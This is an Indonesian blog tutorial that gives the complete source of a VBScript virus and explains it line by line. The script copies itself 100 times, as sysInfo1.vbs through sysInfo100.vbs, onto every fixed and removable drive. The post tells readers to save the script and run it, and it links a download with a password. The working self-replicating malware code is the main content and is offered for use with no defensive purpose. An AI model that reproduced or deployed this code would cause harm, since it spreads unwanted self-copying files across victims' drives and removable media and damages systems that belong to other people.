MENGKOPI DIRI KE SELURUH DRIVE DENGAN JUMLAH BANYAK

Kode script ini hanya pengembanngan dari kode sebelumnya karena hanya ditambahkan beberapa script kode saja, coba lihat dan bandingkan

on error resume next

set dendrif=CreateObject("Scripting.FileSystemObject")

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)

c1vs=vs.ReadAll

vs.close

set c2vs=dendrif.GetFile(Wscript.ScriptFullName)

for each deo in dendrif.drives

if (deo.drivetype=1 or deo.drivetype=2 ) and deo.path <>"A:" then

for i = 1 to 100

set c3vs=dendrif.createTextFile(deo.path & "\sysInfo" & i & ".vbs",2,true)

c3vs.write c1vs

c3vs.close

next

end if

next

msgbox"virus telah berhasil di kopi ke all drive sebanyak 100 buah",vbinformation,"Tes virus..."

seperti biasa simpan script dengan nama contoh clonigalldrive.vbs, lalu jalankan..........

penjelasan script

on error resume next = bila terjadi kesalahan lanjutkan ke perintah selanjutnya

set dendrif=CreateObject("Scripting.FileSystemObject") ==> menset dendrif sebagai  penghendelan file objek untuk pembuatan file atau hal lainnya yang dibutuhkan vbs ,saya juga kurang paham arti khususnya

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName) ==> menset vs untuk penghendelan membuka virusnya sendiri (Wscript.ScriptFullName)

c1vs=vs.ReadAll  == >variable c1vs digunakan untuk pembacaan virus secara keseluruhan

vs.close  ==> pembacaan virus selesai dan di tutup

set c2vs=dendrif.GetFile(Wscript.ScriptFullName) = pengambilan informasi virus

for each deo in dendrif.drives = pengambilan seluruh informasi drive

if (deo.drivetype=1 or deo.drivetype=2 ) and deo.path <>"A:" then = jika tipe drive satu atau 2 dan alamat drive bukan A:\,( Karena A: drive untuk disket yang sekarang gak dipake lagi) maka

for i=1 to 100 = untuk satu sampai seratus

set c3vs=dendrif.createTextFile(deo.path & "\sysInfo" & i & ".vbs",2,true)

 = menset c3vs sebagai penghendel pengkopian virus ke semua drive sebanyak seratus buah file virus dengan nama virus sysInfo1.vbs s/d sysInfo100.vbs

C3vs.write c1vs = hasil kopian dituliskan code virus

C3vs.close = pengkopian selesai dan ditutup

next = berikutnya/setelah pengkopian yang kesatu selesai lanjut ke pengkopian yang kedua terus sampai seratus.

End if = akhir dari if

Next =selanjutnya pengkopian ke semua drive secara satu persatu

msgbox"virus telah berhasil di kopi ke semua drive sebanyak 100 buah",vbinformation,"Tes virus..." = menampilkan pesan kalau pengkopian virus ke semua drive sebanyak seratus file telah berhasil.

download script
password = www.dendrif-deo.co.cc[cloningalldrive]
semoga bermanfaat................. :D